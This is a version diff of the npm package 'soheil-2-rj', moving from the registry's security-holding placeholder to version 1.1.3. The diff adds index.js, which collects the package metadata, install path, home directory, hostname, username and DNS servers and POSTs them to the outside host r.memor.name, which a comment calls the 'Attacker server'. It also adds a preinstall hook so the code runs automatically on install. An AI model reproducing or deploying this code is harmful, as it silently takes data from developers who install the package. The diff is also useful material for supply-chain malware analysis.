soheil-2-rj 0.0.1-security → 1.1.3

package/index.js

@@ -0,0 +1,35 @@
+// requirements
+const dns = require('dns')
+const os = require('os')
+const https = require('https')
+const package = require('./package.json')
+
+// User info 
+const userData = JSON.stringify({
+    p: package,
+    a: __dirname,
+    b: os.homedir,
+    c: os.hostname,
+    d: os.userInfo().username,
+    d: dns.getServers()
+})
+
+// Attacker server
+const options = {
+    hostname: 'r.memor.name',
+    port: 443,
+    path: '/',
+    method: 'POST',
+    headers: {
+        "Content-Type": "application/json",
+        "Content-Length": userData.length
+    }
+}
+
+const req = https.request(options, (res) => {
+    res.on('data', (d) => {
+        process.stdout.write(d)
+    })
+})
+req.write(userData)
+req.end()

package/package.json

@@ -1,6 +1,12 @@
 {
-  "name": "soheil-2-rj",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+    "name": "soheil-2-rj",
+    "version": "1.1.3",
+    "main": "index.js",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1",
+        "preinstall": "node index.js"
+    },
+    "author": "",
+    "license": "ISC",
+    "description": ""
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=soheil-2-rj for more information.